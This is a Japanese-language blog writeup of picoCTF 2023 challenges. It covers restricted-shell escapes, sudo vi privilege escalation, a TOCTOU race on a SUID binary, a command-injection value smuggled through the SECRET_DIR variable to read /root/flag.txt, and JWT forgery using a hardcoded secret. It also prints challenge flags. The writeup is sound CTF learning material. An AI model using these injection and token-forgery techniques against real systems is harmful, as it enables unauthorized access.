picoCTF 2023 Writeup
Contents
URL: https://picoctf.org/
例年、チャレンジの使いまわしが多かった印象のある picoCTF ですが、今年はチャレンジが全て一新されていたようで、良かったと思います。
最終結果は、こんな感じ。
4900点をとって、最終順位は 389位でした。
以下は、チャレンジ一覧です。
(tic-tacは、解いてます。)
以下、Writeupです。
[General Skills]: useless (100 points)
Challenge
There’s an interesting script in the user’s home directory. The work computer is running SSH. We’ve been given a script which performs some basic calculations, explore the script and find a flag.
Solution
以下は、ホームディレクトリにあるファイル一覧です。
picoplayer@challenge:~$ ls -al total 16 drwxr-xr-x 1 picoplayer picoplayer 20 Mar 19 01:31 . drwxr-xr-x 1 root root 24 Mar 16 02:30 .. -rw-r--r-- 1 picoplayer picoplayer 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 picoplayer picoplayer 3771 Feb 25 2020 .bashrc drwx------ 2 picoplayer picoplayer 34 Mar 19 01:31 .cache -rw-r--r-- 1 picoplayer picoplayer 807 Feb 25 2020 .profile -rwxr-xr-x 1 root root 517 Mar 16 01:30 useless
useless
というファイルは bash script で、中身は以下の通りです。
|
|
"Read the manual"
というメッセージがフラグへ導くヒントで、「マニュアルを見たらそこにフラグがあるよ」というだけのことなのですが、それに気づくまでに結構悩みました。
picoplayer@challenge:~$ man useless useless useless, — This is a simple calculator script SYNOPSIS useless, [add sub mul div] number1 number2 DESCRIPTION Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division. Examples ./useless add 1 2 This will add 1 and 2 and return 3 ./useless mul 2 3 This will return 6 as a product of 2 and 3 ./useless div 6 3 This will return 2 as a quotient of 6 and 3 ./useless sub 6 5 This will return 1 as a remainder of substraction of 5 from 6 Authors This script was designed and developed by Cylab Africa picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_4373}
Flag: picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_4373}
[General Skills]: Special (300 points)
Challenge
Don’t power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized… automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That’s Special (TM)
Hint: Experiment with different shell syntax
Solution
とりあえず、SSHでログインして、どういう動きをするのか確認します。
Special$ ls -al Is pal sh: 1: Is: not found Special$ aa A sh: 1: A: not found Special$ oghowegowijegoaihegp Oghowegowijegoaihegp sh: 1: Oghowegowijegoaihegp: not found Special$ Traceback (most recent call last): File "/usr/local/Special.py", line 19, inelif cmd[0] == '/': IndexError: string index out of range Connection to saturn.picoctf.net closed.
この時点では、さっぱりわからないです。
トライ・アンド・エラーで続けて見ていくと、相対パスを使ってコマンドが実行できることがわかりました。
Special$ / Absolutely not paths like that, please! Special$ ../../bin/ls ../../bin/ls blargh Special$ ../../bin/find . ../../bin/find . . ./blargh ./blargh/flag.txt ./.cache ./.cache/motd.legal-displayed
ということで、以下でフラグが得られます。
Special$ ../../bin/cat ./blargh/flag.txt ../../bin/cat ./blargh/flag.txt picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335}
ちなみに、フラグだけではなく、チャレンジプログラムの中身も見れます。
Special$ ../../bin/cat /usr/local/Special.py
|
|
Flag: picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335}
[General Skills]: Specialer (400 points)
Challenge
Reception of Special has been cool to say the least. That’s why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just ‘Specialer’. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody’s complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.
Hint: What programs do you have access to?
Solution
こちらも、まずはSSHでログインして、どういう動きをするのか確認します。
Specialer$ ls -bash: ls: command not found Specialer$ ../../bin/ls -bash: ../../bin/ls: No such file or directory Specialer$ . -bash: .: filename argument required .: usage: . filename [arguments] Specialer$ . * -bash: .: abra: is a directory
ドットとアスタリスクを使って、abra というディレクトリがあることがわかりました。
実際は、abra以外にもディレクトリがあったわけですが、. *
の結果だと、アルファベット順に一番最初に現れたディレクトリしかわかりません。
総当りで調べるとすると、
. b*
, . c*
, . d*
のように、a以外で始まるディレクトリも順番に見ていく必要があるのと、
. ac*
, . ad*
, . ae*
のように、aで始まるけど、“abra"ではないディレクトリも探さないといけません。
一個一個、コマンドを打つのは面倒だったので、以下の単純なスクリプトを書きました。
|
|
ベース (cmd_base)を用意しておいて、そこに1つの文字と、*
をくっつけて、順に実行していくだけのものです。
これにより、ala というディレクトリがあることがわかり、alaの下を調べたら kazam.txt があるのがわかりました。
手動で、確認してみると、以下のような感じです。
Specialer$ . ./a* -bash: .: ./abra: is a directory Specialer$ . ./al* -bash: .: ./ala: is a directory Specialer$ . ./ala/a* -bash: ./ala/a*: No such file or directory Specialer$ . ./ala/k* -bash: return: too many arguments Specialer$ ./ala/k* -bash: ./ala/kazam.txt: Permission denied Specialer$ . ./ala/kazam.txt -bash: return: too many arguments
ファイルの中身は、readコマンドで読みました。
Specialer$ read -rd '' file < ./ala/kazam.txt ; echo "$file" return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}
Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}
[General Skills]: permissions (100 points)
Challenge
Can you read files in the root file? The system admin has provisioned an account for you on the main server: Can you login and read the root file?
Hint: What programs do you have access to?
Solution
sudo で vi が起動できます。
picoplayer@challenge:~$ sudo -l [sudo] password for picoplayer: Matching Defaults entries for picoplayer on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User picoplayer may run the following commands on challenge: (ALL) /usr/bin/vi
ということで、以下でフラグは得られます。
sudo /usr/bin/vi /root
あるいは、viからroot accountでshellを起動することもできます。
参考:GTFOBins
Flag: picoCTF{uS1ng_v1m_3dit0r_89e9cf1a}
[Binary Exploitation]: hijacking (200 points)
Challenge
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server.
Hint1: Check for Hidden files
Hint2: No place like Home:)
Solution
これは、作問ミスなのかな?
おそらく、想定解は /home/picoctf/.server.py の方を使ったものだと思うのですが、vi
も起動できてしまうので、前述の permissions のチャレンジと全く同じ方法で解けてしまいます。
picoctf@challenge:~$ sudo -l Matching Defaults entries for picoctf on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User picoctf may run the following commands on challenge: (ALL) /usr/bin/vi (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
Flag: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
[Binary Exploitation]: babygame01 (100 points)
Challenge
Get the flag and reach the exit. Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you’ll have to figure your way around the map.
Hint1: Use ‘w’,‘a’,’s’,’d’ to move around.
Hint2: There may be secret commands to make your life easy.
- game (ELF 32-bit)
Solution
Ghidraを使ってデコンパイルしてみます。
|
|
Line 25 & 26の `0x1d`と`0x59`のチェックは、単純にプレイヤーのポジションのチェックで、`s`, `d` を使ってプレーヤーをゴールまで移動させたときにループを抜けさせる判定です。
ただし、単純にゴールしただけだと、local_aa4
の値が書き換わっていないのでwin()
関数が呼ばれず、フラグが表示されないまま終了してしまいます。
以下は、プレーヤーを動かすところの関数です。
上限と下限のチェックがないので、マップの範囲をはみ出すことができ、結果的に local_aa4
の値を書き換えることができるようです。
|
|
ちなみに、l
は、プレーヤーを示すアイコンを変更するもの(おそらく、次の babygame02
チャレンジで使うやつ)で、
p
は、一気にゴールまで行ってくれる隠しコマンドです。
ぶっちゃけトライ・アンド・エラーで解いたんですが、
まず、w
を4回、次に、a
を8回やると、フラグが取れる状態になるみたいです。
End tile position: 29 89 Player has flag: 64
この状態で、p
をすると、フラグが得られます。
.........................................................................................@ You win! flage picoCTF{gamer_m0d3_enabled_2bcdc8e6}
Flag: picoCTF{gamer_m0d3_enabled_2bcdc8e6}
[Binary Exploitation]: tic-tac (200 points)
Challenge
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
ssh to saturn.picoctf.net:56072, and run the binary named “txtreader” once connected. Login as ctf-player with the password, 483e80d4
Solution
以下が、ホームディレクトリのファイル一覧です。
ctf-player@pico-chall$ ls -al total 32 drwxr-xr-x 1 ctf-player ctf-player 20 Mar 21 10:13 . drwxr-xr-x 1 root root 24 Mar 16 02:27 .. drwx------ 2 ctf-player ctf-player 34 Mar 21 10:13 .cache -rw-r--r-- 1 root root 67 Mar 16 02:28 .profile -rw------- 1 root root 32 Mar 16 02:28 flag.txt -rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp -rwsr-xr-x 1 root root 19016 Mar 16 02:28 txtreader
src.cpp は、実行ファイル txtreader
のソースコードだと想定でき、中身は以下の通りです。
|
|
txtreader
には、見ての通り SUID ビットが立っており、これを使って /home/ctf-player/flag.txt を読み込むチャレンジなのですが、flag.txtのオーナーはrootであるために、中身が見れません。
以下、実行結果。
ctf-player@pico-chall$ ./txtreader flag.txt Error: you don't own this file
チャレンジタイトル tic-tac
からも想像つきますし、“getuid bypass” 辺りをキーワードにググってもわかるのですが、これは TOCTOU (Time of check to time of use) を使って解くチャレンジです。
以下の2つのファイルを用意します。
なお、これらのコードのサンプルは、TOCTOUを調べていると見つかります。
- exploit.sh (echoしている文字列は、何でもいいです)
|
|
- symbolic-link.c
|
|
これらのファイルをscpで転送しておき、symbolic-link.c は gcc でコンパイルしておきます。
その後、exploit.shを実行すると、タイミングによってはフラグの中身が表示されることがあります。
ctf-player@pico-chall$ /bin/bash ./exploit.sh This is a file that the user can overwrite This is a file that the user can overwrite : (snip) : Error: you don't own this file Error: you don't own this file Error: you don't own this file Error: you don't own this file Error: you don't own this file Error: you don't own this file Error: you don't own this file picoCTF{ToctoU_!s_3a5y_007659c9} Error: you don't own this file Error: you don't own this file
Flag: picoCTF{ToctoU_!s_3a5y_007659c9}
[Binary Exploitation]: VNE (200 points)
Challenge
We’ve got a binary that can list directories as root, try it out !! ssh to saturn.picoctf.net:62449, and run the binary named “bin” once connected. Login as ctf-player with the password, 8a707622
Hint1: Have you checked the content of the /root folder
Hint2: Find a way to add more instructions to the ls
Solution
ホームディレクトリに、bin
という名前のelfファイルが置かれています。
ctf-player@pico-chall$ ls -al total 24 drwxr-xr-x 1 ctf-player ctf-player 20 Mar 21 11:24 . drwxr-xr-x 1 root root 24 Mar 16 01:59 .. drwx------ 2 ctf-player ctf-player 34 Mar 21 11:24 .cache -rw-r--r-- 1 root root 67 Mar 16 01:59 .profile -rwsr-xr-x 1 root root 18752 Mar 16 01:59 bin ctf-player@pico-chall$ file bin bin: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=202cb71538089bb22aa22d5d3f8f77a8a94a826f, for GNU/Linux 3.2.0, not stripped
実行してみます。
ctf-player@pico-chall$ ./bin Error: SECRET_DIR environment variable is not set ctf-player@pico-chall$ export SECRET_DIR="/root" ctf-player@pico-chall$ ./bin Listing the content of /root as root: flag.txt
strings
コマンドを実行してみると system()
関数を呼んでいたりするのがわかるのと、Hint2も加味すると、Command Injectionっぽいのが何となくわかりますね。
ctf-player@pico-chall$ export SECRET_DIR="/root; cat /root/flag.txt" ctf-player@pico-chall$ ./bin Listing the content of /root; cat /root/flag.txt as root: flag.txt picoCTF{Power_t0_man!pul4t3_3nv_3f693329}
Flag: picoCTF{Power_t0_man!pul4t3_3nv_3f693329}
[Reverse Engineering]: Ready Gladiator 0 (100 points)
Challenge
Can you make a CoreWars warrior that always loses, no ties? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
Hint1: CoreWars is a well-established game with a lot of docs and strategy
Hint2: Experiment with input to the CoreWars handler or create a self-defeating bot
- imp.red
中身:
;redcode ;name Imp Ex ;assert 1 mov 0, 1 end
Solution
多少マニュアルとかは読んだのですが、あんまりよくわからずに解きました。
とりあえず、mov 0, 0
で 動かないようにしたら、常に負けるようになり、フラグが得られます。
;redcode ;name Imp Ex ;assert 1 mov 0, 0 end
実行結果:
$ nc saturn.picoctf.net 56861 < imp.red ;redcode ;name Imp Ex ;assert 1 mov 0, 0 end Submit your warrior: (enter 'end' when done) Warrior1: ;redcode ;name Imp Ex ;assert 1 mov 0, 0 end Rounds: 100 Warrior 1 wins: 0 Warrior 2 wins: 100 Ties: 0 You did it! picoCTF{h3r0_t0_z3r0_4m1r1gh7_e476d4cf}
Flag: picoCTF{h3r0_t0_z3r0_4m1r1gh7_e476d4cf}
[Reverse Engineering]: Ready Gladiator 1 (200 points)
Challenge
Can you make a CoreWars warrior that wins? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: nc saturn.picoctf.net 59752 < imp.red To get the flag, you must beat the Imp at least once out of the many rounds.
Hint: You may be able to find a viable warrior in beginner docs
Solution
参考にしたサイト:https://vyznev.net/corewar/guide.html
とりあえず、The Dwarf でやってみました。
$ nc saturn.picoctf.net 59752 < test.red ;redcode ;name Imp Ex ;assert 1 ADD #4, 3 ; execution begins here MOV 2, @2 JMP -2 DAT #0, #0 end Submit your warrior: (enter 'end' when done) Warrior1: ;redcode ;name Imp Ex ;assert 1 ADD #4, 3 ; execution begins here MOV 2, @2 JMP -2 DAT #0, #0 end Rounds: 100 Warrior 1 wins: 23 Warrior 2 wins: 0 Ties: 77 You did it! picoCTF{1mp_1n_7h3_cr055h41r5_ec57a42e}
Flag: picoCTF{1mp_1n_7h3_cr055h41r5_ec57a42e}
[Reverse Engineering]: Ready Gladiator 2 (400 points)
Challenge
Can you make a CoreWars warrior that wins every single round? Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this: nc saturn.picoctf.net 49743 < imp.red To get the flag, you must beat the Imp all 100 rounds.
Hint: If your warrior is close, try again, it may work on subsequent tries… why is that?
Solution
corewars against imp
をキーワードにググったところ、Redditで、このチャレンジの答えをもらっている人がいたんですよね。
こんな風に問題を解かれてしまうと、運営側も悩ましいですね。。。
$ nc saturn.picoctf.net 49743 < test2.red ;redcode-94 ;name Dwarf ;author A.K. Dewdney ;strategy Bombs the core at regular intervals. ;(slightly modified by Ilmari Karonen) ;assert CORESIZE % 4 == 0 JMP 0, <-5 end Submit your warrior: (enter 'end' when done) Warrior1: ;redcode-94 ;name Dwarf ;author A.K. Dewdney ;strategy Bombs the core at regular intervals. ;(slightly modified by Ilmari Karonen) ;assert CORESIZE % 4 == 0 JMP 0, <-5 end Rounds: 100 Warrior 1 wins: 100 Warrior 2 wins: 0 Ties: 0 You did it! picoCTF{d3m0n_3xpung3r_fc41524e}
Flag: picoCTF{d3m0n_3xpung3r_fc41524e}
[Reverse Engineering]: timer (100 points)
Challenge
You will find the flag after analysing this apk
Hint1: Decompile
Hint2: mobsf or jadx
- timer.apk
Solution
他の2つのRevチャレンジ Reverse
(100 points)、Safe Opener 2
(100 points) は strings コマンドで解けるわけですが、これもほぼ同様でデコンパイルしなくても解けちゃいます。
apkファイルはzipファイルなので、まずはzip解凍します。
そうすると、classes3.dex というファイルがあるので、strings コマンドを実行します。
$ strings classes3.dex | grep pico *picoCTF{t1m3r_r3v3rs3d_succ355fully_17496}
Flag: picoCTF{t1m3r_r3v3rs3d_succ355fully_17496}
[Cryptography]: ReadMyCert (100 points)
Challenge
How about we take you on an adventure on exploring certificate signing requests Take a look at this CSR file here.
Hint: Download the certificate signing request and try to read it.
- readmycert.csr
Solution
CNにフラグがセットされていました。
$ openssl req -text -in readmycert.csr Certificate Request: Data: Version: 0 (0x0) Subject: CN=picoCTF{read_mycert_373b4ab0}/name=ctfPlayer Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: : (snip) :
Flag: picoCTF{read_mycert_373b4ab0}
[Web]: Java Code Analysis!?! (300 points)
Challenge
BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book! Here are the credentials to get you started: Username: “user” Password: “user” Source code can be downloaded here. Website can be accessed here!.
Hint1: Maybe try to find the JWT Signing Key (“secret key”) in the source code? Maybe it’s hardcoded somewhere? Or maybe try to crack it?
Hint2: The ‘role’ and ‘userId’ fields in the JWT can be of interest to you!
Hint3: The ‘controllers’, ‘services’ and ‘security’ java packages in the given source code might need your attention. We’ve provided a README.md file that contains some documentation.
Hint4: Upgrade your ‘role’ with the new (cracked) JWT. And re-login for the new role to get reflected in browser’s localStorage.
Solution
以下のファイルの中で、JWTのsecretを設定しているところが見つかります。
- bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java
|
|
server_secret.txt はzipファイルの中には存在していないですし、Hint1も加味すると、1234
がsecretっぽいのがわかります。
JWTを使ったCTFチャレンジで、secretがわかるのであれば、もう解けたも同然です。
Burpでやりとりを見ていたたら、以下のpayloadが見つかりました。
{"type":"SUCCESS","payload":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY4MDM0MDk0MCwiaWF0IjoxNjc5NzM2MTQwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.Gf0Ow6yh3CXQdlng2uk9FGIXQsEHrJ8O-djA7g-yd8I"}
これを、https://jwt.io/ を使って、編集します。
変更前:
{ "typ": "JWT", "alg": "HS256" } { "role": "Free", "iss": "bookshelf", "exp": 1680340940, "iat": 1679736140, "userId": 1, "email": "user" }
変更後: (roleとuserIDを変えました)
{ "typ": "JWT", "alg": "HS256" } { "role": "Admin", "iss": "bookshelf", "exp": 1680340940, "iat": 1679736140, "userId": 0, "email": "user" }
変更後のpayloadは、FireFoxのdeveloper toolで設定しました。 Local Storageの中に出てくる auth-token と token-payload です。
これで Admin にはなれるのですが、フラグは表示されませんでした。
なので、Admin dashboardから、userのroleをAdminにして、userでログインしなおしてフラグをゲットしました。
Flag: picoCTF{w34k_jwt_n0t_g00d_7745dc02}
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2023-04-03